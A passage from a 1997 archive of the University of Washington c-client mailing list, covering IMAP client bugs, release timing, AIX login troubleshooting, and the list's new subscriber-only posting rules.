seen no such problems. > I'm still wondering if anyone has been able to use NS Communicator PR5 > with the latest UW imapd. Very few of us are willing to bother with Communicator. It is a very broken IMAP client in many ways. I consider it to be unusable. Microsoft recently discovered a new bug in Communicator; if you do not deliver untagged responses in numerically ascending order, Communicator croaks. This is on top of the other bugs in Communicator. From pinedev@shivax2.cac.washington.edu Thu Jun 12 20:32:17 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 12 Jun 1997 20:32:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id UAA09341 for ; Thu, 12 Jun 1997 20:32:15 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id UAA20221; Thu, 12 Jun 1997 20:32:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id UAA24943; Thu, 12 Jun 1997 20:29:46 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id UAA30112 for ; Thu, 12 Jun 1997 20:28:04 -0700 Received: from singapura.singnet.com.sg (singapura.singnet.com.sg [165.21.10.10]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id UAA28370 for ; Thu, 12 Jun 1997 20:28:01 -0700 Received: from localhost (mathias@localhost) by singapura.singnet.com.sg (8.8.5/8.7.2) with SMTP id LAA03068 for ; Fri, 13 Jun 1997 11:27:59 +0800 (SST) Message-Id: Date: Fri, 13 Jun 1997 11:27:47 +0800 (SST) Reply-To: mathias@staff.singnet.com.sg Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mathias Koerber To: IMAP C-Client mailing List Subject: c-client for disconnected use? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mathias@singapura.singnet.com.sg X-Disclaimer: I don't speak for anyone except for myself (and to myself sometimes) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi IMAPpers, Is there a c-client implementation for IMAP4 disconnected use? I would love to fetch my mail via IMAP from my host, to my notebook running Linux (via an ssh channel if possible), locally use one or more different mailers to process it, and then use the c-client to re-sync the notebooks and the server's mailboxen. any help appreciated, Mathias Mathias Koerber | Tel: +65 / 471 9820 | mathias@staff.singnet.com.sg SingNet NOC | Fax: +65 / 475 3273 | mathias@koerber.org Q'town Tel. Exch. | PGP: Keyid: 768/25E082BD, finger mathias@singnet.com.sg 2 Stirling Rd | 1A 8B FC D4 93 F1 9A FC BD 98 A3 1A 0E 73 01 65 S'pore 148943 | Disclaimer: I speak only for myself * Eifersucht ist eine Leidenschaft, die mit Eifer sucht, was Leiden schafft * From pinedev@shivax2.cac.washington.edu Tue Jun 17 06:29:43 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 17 Jun 1997 06:29:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id GAA12860 for ; Tue, 17 Jun 1997 06:29:42 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id GAA18134; Tue, 17 Jun 1997 06:29:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id GAA24629; Tue, 17 Jun 1997 06:17:18 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id GAA53264 for ; Tue, 17 Jun 1997 06:16:34 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id GAA20252 for ; Tue, 17 Jun 1997 06:16:32 -0700 Received: from mail13.digital.com (mail13.digital.com [192.208.46.30]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id GAA17979 for ; Tue, 17 Jun 1997 06:16:19 -0700 Received: from quarry.zk3.dec.com (quarry.zk3.dec.com [16.140.16.3]) by mail13.digital.com (8.7.5/UNX 1.5/1.0/WV) with SMTP id JAA10557 for ; Tue, 17 Jun 1997 09:10:19 -0400 (EDT) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA13498; Tue, 17 Jun 1997 09:10:11 -0400 Message-Id: <9706171310.AA13498@quarry.zk3.dec.com> Date: Tue, 17 Jun 97 09:10:11 -0400 Reply-To: pderr@zk3.dec.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Peter Derr" To: c-client@CAC.Washington.EDU Subject: when will IMAP 4.1 be released? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS X-Mts: smtp X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN IMAP4.1 has been in beta for a long time. The IMAP4 server was released in October, 1996. When can we expect to see the final IMAP4.1? Thanks, Peter From pinedev@shivax2.cac.washington.edu Tue Jun 17 07:30:16 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 17 Jun 1997 07:30:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA14083 for ; Tue, 17 Jun 1997 07:30:15 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA19245; Tue, 17 Jun 1997 07:30:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id HAA26909; Tue, 17 Jun 1997 07:20:09 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id HAA58690 for ; Tue, 17 Jun 1997 07:19:58 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA24336 for ; Tue, 17 Jun 1997 07:19:56 -0700 Received: from newton.upf.es (newton.upf.es [193.145.60.10]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA18794 for ; Tue, 17 Jun 1997 07:19:40 -0700 Received: from puna.upf.es (puna.upf.es [193.145.60.8]) by newton.upf.es (8.8.5/8.8.5) with SMTP id QAA20530 for ; Tue, 17 Jun 1997 16:16:59 +0100 (WET DST) Received: from cjt151.upf.es by puna.upf.es with SMTP (1.38.193.4/15.6) id AA00992; Tue, 17 Jun 1997 16:14:18 +0200 Message-Id: <33A69C94.3B06C4CF@upf.es> Date: Tue, 17 Jun 1997 16:17:56 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Walter Garcia-Fontes To: c-client@CAC.Washington.EDU Subject: IMAP version 4 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Mailer: Mozilla 4.0b4 [en] (Win95; I) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Is there a precompiled imapd version 4 for hpux 9.06? The one that I found in the ftp-server is version 2bis... Thanks in advance for your responses, -- Walter Garcia-Fontes | Tel: (343) 542 2722 mailto:wgarcia@upf.es | Fax: (343) 542 1746 Universitat Pompeu Fabra | WWW: http://puna.upf.es Ramon Trias Fargas 25-27 | Barcelona 08005, Spain From pinedev@shivax2.cac.washington.edu Tue Jun 17 07:59:00 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 17 Jun 1997 07:59:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA17327 for ; Tue, 17 Jun 1997 07:58:59 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA19384; Tue, 17 Jun 1997 07:58:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id HAA28310; Tue, 17 Jun 1997 07:52:56 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id HAA70428 for ; Tue, 17 Jun 1997 07:52:31 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA07539 for ; Tue, 17 Jun 1997 07:52:29 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA19664 for ; Tue, 17 Jun 1997 07:52:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gin@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id HAA03410; Tue, 17 Jun 1997 07:52:23 -0700 Message-Id: Date: Tue, 17 Jun 1997 07:52:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Peter Derr Cc: c-client@CAC.Washington.EDU Subject: Re: when will IMAP 4.1 be released? In-Reply-To: <9706171310.AA13498@quarry.zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 17 Jun 1997, Peter Derr wrote: > IMAP4.1 has been in beta for a long time. The IMAP4 server was > released in October, 1996. When can we expect to see the final > IMAP4.1? This will be concurrant with the release of Pine 4.00. IMAP toolkit work never stops (I'm doing internationalized searches now). But, when a new version of Pine is released, the IMAP toolkit version number is incremented and the older version called "final". -- Mark -- Unsolicited commercial email is NOT welcome at this email address. From pinedev@shivax2.cac.washington.edu Thu Jun 19 07:54:36 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 19 Jun 1997 07:54:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA01056 for ; Thu, 19 Jun 1997 07:54:35 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA12017; Thu, 19 Jun 1997 07:54:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id HAA25336; Thu, 19 Jun 1997 07:48:20 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id HAA05890 for ; Thu, 19 Jun 1997 07:47:43 -0700 Received: from www.kcmo.org (www.kcmo-net.org [208.129.6.18]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA19575 for ; Thu, 19 Jun 1997 07:47:42 -0700 Received: from wdev.kc.lan ([205.167.180.12]) by www.kcmo.org (8.8.5/8.8.5) with ESMTP id JAA10214 for ; Thu, 19 Jun 1997 09:47:39 -0500 Received: (from doetzl@localhost) by wdev.kc.lan (8.8.5/8.8.5) id JAA45586; Thu, 19 Jun 1997 09:47:41 -0500 Message-Id: <199706191447.JAA45586@wdev.kc.lan> Date: Thu, 19 Jun 97 09:47:40 -0500 Reply-To: Joe_Doetzl@kcmo.org Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Joe Doetzl To: c-client@u.washington.edu Subject: New imap server troubleshooting X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've recently compiled and installed the UW imap server on an AIX 4.1.4 system. The problem I am having is authenticating to the server with an imap client (currently Netscape Messenger). My understanding was that imap users should be synonymous with shell account users on the machine running the imap server, but each time I try to connect to the server I get a message indicating that the password is incorrect. I am getting this behavior with both the pop3 and imap servers. I compiled the package from the latest imap_tar release with 'build a41'. I am not trying to access the imap server via a unix client so I suspect the /etc/rimap link does not apply to me. Any suggestions? Thank you, --Joe -- Joe Doetzl doetzl@kcmo.org City of Kansas City 1111 Locust, 3rd Floor Kansas City, Missouri 64106 (816)-871-3097 From pinedev@shivax2.cac.washington.edu Thu Jun 19 08:35:19 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 19 Jun 1997 08:35:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA28906 for ; Thu, 19 Jun 1997 08:35:18 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA12844; Thu, 19 Jun 1997 08:35:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id IAA26753; Thu, 19 Jun 1997 08:10:14 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id IAA58640 for ; Thu, 19 Jun 1997 08:09:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (groves@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA21477 for ; Thu, 19 Jun 1997 08:09:30 -0700 Message-Id: Date: Thu, 19 Jun 1997 07:56:54 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Joe_Doetzl@kcmo.org Cc: c-client@u.washington.edu Subject: re: New imap server troubleshooting In-Reply-To: <199706191447.JAA45586@wdev.kc.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Jun 97 09:47:40 -0500, Joe Doetzl wrote: > I've recently compiled and installed the UW imap server on an AIX 4.1.4 > system. > The problem I am having is authenticating to the server with an imap client > (currently Netscape Messenger). My understanding was that imap users > should be synonymous with shell account users on the machine running the > imap server, but each time I try to connect to the server I get a message > indicating that the password is incorrect. I am getting this behavior with > both the pop3 and imap servers. I compiled the package from the > latest imap_tar release with 'build a41'. I am not trying to access the > imap server via a unix client so I suspect the /etc/rimap link does not > apply to me. Any suggestions? Yes. I wrote the UW server software. In general, when seeking support for the UW server it's better to contact me directly; if there's a bug that needs to be fixed I'm going to have to be contacted anyway.... My suggestion is to give up on Netscape Messenger and try another client. Netscape Messenger has many bugs and bad design decisions which make it completely unsatisfactory as an IMAP client. Netscape was told about these bugs when it was still in beta, but released it anyway. I am a bit surprised to hear about your POP login problems, because the known Messenger login bug only affects IMAP. However, my advice remains; try it with known working IMAP and POP clients so Messenger is removed from the equation. I hesitate to make specific recommendations for "known working IMAP and POP clients" since there are so many. The University of Washington's Pine program is an excellent text-based IMAP client for UNIX and PC; you'll have to decide for yourself which of the various GUI clients are best for you. Eudora is probably the most widely-known POP client. If you still have login problems, there is one more thing to check. Are you using any upper-case characters in your user name? If so, does the real user name on UNIX contain upper-case characters? From pinedev@shivax2.cac.washington.edu Thu Jun 19 15:04:58 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 19 Jun 1997 15:04:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id PAA04565 for ; Thu, 19 Jun 1997 15:04:57 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id PAA23962; Thu, 19 Jun 1997 15:04:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id PAA21278; Thu, 19 Jun 1997 15:01:30 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id PAA28322 for ; Thu, 19 Jun 1997 15:01:12 -0700 Received: from www.kcmo.org (www.kcmo-net.org [208.129.6.18]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id PAA26137 for ; Thu, 19 Jun 1997 15:01:11 -0700 Received: from wdev.kc.lan ([205.167.180.12]) by www.kcmo.org (8.8.5/8.8.5) with ESMTP id RAA16624; Thu, 19 Jun 1997 17:01:08 -0500 Received: (from doetzl@localhost) by wdev.kc.lan (8.8.5/8.8.5) id RAA39576; Thu, 19 Jun 1997 17:01:10 -0500 Message-Id: <199706192201.RAA39576@wdev.kc.lan> Date: Thu, 19 Jun 97 17:01:09 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Joe Doetzl To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: New imap server troubleshooting In-Reply-To: (Your message of Thu, 19 Jun 97 07:56:54 -0700.) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've dug up some other information that may be helpful in determining the cause of my authentication problems. I've got bos.rte.libs installed to level 4.1.4.9. This fileset includes libs.a which includes authenticate(3). If I'm not mistaken authenticate(3) is the subroutine used by ipop3d. In /etc/security/users the default user has SYSTEM = "compat", which according to the comments : * SYSTEM Describes Version 4 authentication requirements. This * attribute can be used to describe multiple or alternate * authentication methods. See authenticate() routine and * SYSTEM grammar manual pages. * * Possible tokens: * compat : local plus NIS authentication. I have installed IMAP2bis 7.8 that comes with the pine3.96 distribution and the authentication for imap is working. I used the same steps to compile both the IMAP4 beta and the pine3.96 distribution 'build a41'. I have not yet tried to install prior versions of ipop3d and ipop2d. --Joe -- Joe Doetzl doetzl@kcmo.org City of Kansas City 1111 Locust, 3rd Floor Kansas City, Missouri 64106 (816)-871-3097 From pinedev@shivax2.cac.washington.edu Mon Jun 23 12:30:56 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 23 Jun 1997 12:30:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id MAA05456 for ; Mon, 23 Jun 1997 12:30:55 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id MAA09649; Mon, 23 Jun 1997 12:30:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id MAA180372; Mon, 23 Jun 1997 12:27:41 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id MAA155640 for ; Mon, 23 Jun 1997 12:25:59 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx5.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id MAA07162 for ; Mon, 23 Jun 1997 12:25:55 -0700 Message-Id: Date: Mon, 23 Jun 1997 11:54:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Joe Doetzl Cc: c-client@u.washington.edu Subject: Re: New imap server troubleshooting In-Reply-To: <199706192201.RAA39576@wdev.kc.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Jun 97 17:01:09 -0500, Joe Doetzl wrote: > I have installed IMAP2bis 7.8 that comes with the pine3.96 distribution and > the authentication for imap is working. I used the same steps to compile > both the IMAP4 beta and the pine3.96 distribution 'build a41'. I have not > yet tried to install prior versions of ipop3d and ipop2d. Unfortunately, I don't have much of a clue about the ins and outs of AIX. Ever since the bad old days of OS/360 in the early 1970s, my eyes glaze over whenever I encounter IBM documentation. It sounds to me as if standard login is working but authenticate() is not. Try building the a32 port instead of the a41 port. From pinedev@shivax2.cac.washington.edu Wed Jul 9 09:59:59 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 9 Jul 1997 09:59:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id JAA06290 for ; Wed, 9 Jul 1997 09:59:58 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA25122; Wed, 9 Jul 1997 09:59:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA19146; Wed, 9 Jul 1997 09:47:43 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA19756 for ; Wed, 9 Jul 1997 09:45:51 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA13424 for ; Wed, 9 Jul 1997 09:45:48 -0700 Received: from newton.upf.es (newton.upf.es [193.145.60.10]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA28393 for ; Wed, 9 Jul 1997 09:45:44 -0700 Received: from puna.upf.es (puna.upf.es [193.145.60.8]) by newton.upf.es (8.8.5/8.8.5) with SMTP id SAA06200 for ; Wed, 9 Jul 1997 18:44:42 +0100 (WET DST) Received: from cjt151.upf.es by puna.upf.es with SMTP (1.38.193.4/15.6) id AA01401; Wed, 9 Jul 1997 18:41:40 +0200 Message-Id: <33C3C022.784219BF@upf.es> Date: Wed, 09 Jul 1997 18:45:22 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Walter Garcia-Fontes To: c-client@CAC.Washington.EDU Subject: Re: help References: <33C3B4E3.B1946334@upf.es> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 4.01 [en] (Win95; I) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I compiled the Imap-4.1.BETA for HPUX 9.06 and am trying to use it with Netscape Commnicator 4.01 from a Windows 95 machine. I get always the following message when I try to make the client check for new mail: "Could not find the summary information for the INBOX IMAP folder". This is one of the unsolved features in Netscape Communicator or something that I didn't configure right when I set up the IMAP server at the mail server? Thanks in advance for any hint, -- Walter Garcia-Fontes | Tel: (343) 542 2722 mailto:wgarcia@upf.es | Fax: (343) 542 1746 Universitat Pompeu Fabra | WWW: http://puna.upf.es Ramon Trias Fargas 25-27 | Barcelona 08005, Spain From pinedev@shivax2.cac.washington.edu Mon Jul 14 14:04:41 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 14 Jul 1997 14:04:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id OAA27689 for ; Mon, 14 Jul 1997 14:04:39 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id OAA15643; Mon, 14 Jul 1997 14:04:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id NAA01220; Mon, 14 Jul 1997 13:58:36 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id NAA35748 for ; Mon, 14 Jul 1997 13:57:40 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id NAA08240 for ; Mon, 14 Jul 1997 13:57:33 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id NAA19310; Mon, 14 Jul 1997 13:57:30 -0700 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id NAA18072; Mon, 14 Jul 1997 13:57:29 -0700 Message-Id: Date: Mon, 14 Jul 1997 13:57:25 -0700 (PDT) Reply-To: David L Miller Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David L Miller To: imap@CAC.Washington.EDU, c-client@CAC.Washington.EDU Subject: anti-SPAM measures on c-client and imap lists MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Due to the recent prevalence of SPAM reaching the imap and c-client mailing lists, Mark and I have decided to change the list configurations to only accept messages from subscribers. A side-effect of this change is that postings to the list may be rejected if the address you post from doesn't match what listproc recognizes as your address :-( If this is a problem for you, please contact me at owner-imap@cac.washington.edu or owner-c-client@cac.washington.edu and I will configure appropriate aliases for you. It would help me greatly if you send me the information in the format described below. owner-(imap|c-client)@u.washington.edu -- David L. Miller | The right to swing my fist ends Software Engineer, Pine Development Team | where the other man's nose begins. Box 354841, University of Washington | -- Oliver Wendell Holmes 4545 15th Ave NE, Seattle WA 98105, USA | Phone: (206)685-6240 FAX: (206)685-4045 | Syntax: alias ignore
Alias an existing subscriber to a new address, or ignore postings from the specified address. Both requests are aliases of the more generic PUT request: put alias
put ignore
and can be regular expressions. Examples: alias ermis ermis1 uucp!bar.com!foo foo@bar.com alias ermis ermis1 ^@.*:(.*)@(.*\..*) \1@\2 The latter will remove source routing from all addresses and convert them to the user@domain syntax; for example, @GATEWAY:USER@HOST.DOMAIN will be converted to USER@HOST.DOMAIN). alias ermis ermis1 [^!@]*!([^!@.]*)!([^!@]*)@.* \2@\1.uucp This will convert GATE!HOP!USER@UUCP.SOME.COM to USER@HOP.UUCP ignore ermis ermis1 foo@bar.com ignore ermis ermis1 ~<.*\.com|.*\.edu> The latter restricts postings to .com and .edu domains only. From pinedev@shivax2.cac.washington.edu Tue Jul 29 08:26:23 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 29 Jul 1997 08:26:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA29960 for ; Tue, 29 Jul 1997 08:26:22 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id IAA10182; Tue, 29 Jul 1997 08:26:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id IAA23283; Tue, 29 Jul 1997 08:25:15 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA29232 for ; Tue, 29 Jul 1997 08:22:15 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu 